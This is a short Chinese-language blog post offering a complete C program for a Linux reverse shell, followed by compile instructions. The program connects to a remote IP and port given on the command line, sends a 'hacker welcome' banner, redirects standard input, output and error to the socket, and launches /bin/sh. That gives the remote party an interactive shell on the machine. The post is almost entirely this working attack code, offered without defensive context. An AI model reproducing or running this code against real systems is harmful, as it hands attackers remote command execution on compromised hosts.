linux下C语言版反向shell
代码如下:
1#include <stdio.h>
2#include <sys/types.h>
3#include <sys/socket.h>
4#include <unistd.h>
5#include <fcntl.h>
6#include <netinet/in.h>
7#include <stdio.h>
8#include <sys/types.h>
9#include <sys/socket.h>
10#include <unistd.h>
11#include <fcntl.h>
12#include <netinet/in.h>
13#include <netdb.h>
14
15void usage();
16char shell[]="/bin/sh";
17char message[]="hacker welcomen";
18int sock;
19int main(int argc, char *argv[]) {
20 if(argc <3){
21 usage(argv[0]);
22 }
23
24 struct sockaddr_in server;
25 if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
26 printf("Couldn't make socket!n"); exit(-1);
27 }
28
29 server.sin_family = AF_INET;
30 server.sin_port = htons(atoi(argv[2]));
31 server.sin_addr.s_addr = inet_addr(argv[1]);
32
33 if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
34 printf("Could not connect to remote shell!n");
35 exit(-1);
36 }
37 send(sock, message, sizeof(message), 0);
38 dup2(sock, 0);
39 dup2(sock, 1);
40 dup2(sock, 2);
41 execl(shell,"/bin/sh",(char *)0);
42 close(sock);
43 return 1;
44}
45
46void usage(char *prog[]) {
47 printf("Usage: %s <reflect ip> <port>n", prog);
48 exit(-1);
49}
保存为test.c ,运行gcc -o test test.c后编绎,编绎成功后。运行用法和perl版shell的用法一样
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/getshell/1105.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.